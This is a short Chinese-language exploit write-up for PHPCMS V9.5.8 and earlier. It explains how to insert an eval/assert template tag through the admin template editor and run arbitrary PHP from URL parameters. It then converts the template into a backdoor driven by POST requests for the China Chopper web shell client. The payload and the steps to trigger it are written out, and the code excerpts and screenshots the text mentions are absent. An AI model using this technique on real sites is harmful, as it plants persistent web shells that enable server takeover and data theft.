通杀Phpcms V9.5.8 Release 20140929 以下,并且在开启编辑模板模式下!
在phpcms\modules\template\file.php代码第54行下
我就简短一下代码
可以看出此代码可以识别php标签,那么我发现eval和assert标签等函数相关标签可以通过。
首先进入PHPCMS后台,界面,模板管理,模板风格,content,随意修改模板或者新建一个模板,我就以index.html模板为例,修改,然后对文本框里面添加
同时eval可以换成assert,$_GET也可以换成$_POST、$_COOKIE、$_SESSION
然后提交!
接下来在URL输入http://localhost/phpcms/index.php?1=phpinfo();
看看发现了什么?--php信息
看起来没什么两栏,那就大错特错了,接下来把模板里的{eval($_GET[1])}改成{eval($_POST[1])},提交!
然后到打开“中国菜刀”工具,操作如下!
结果如下: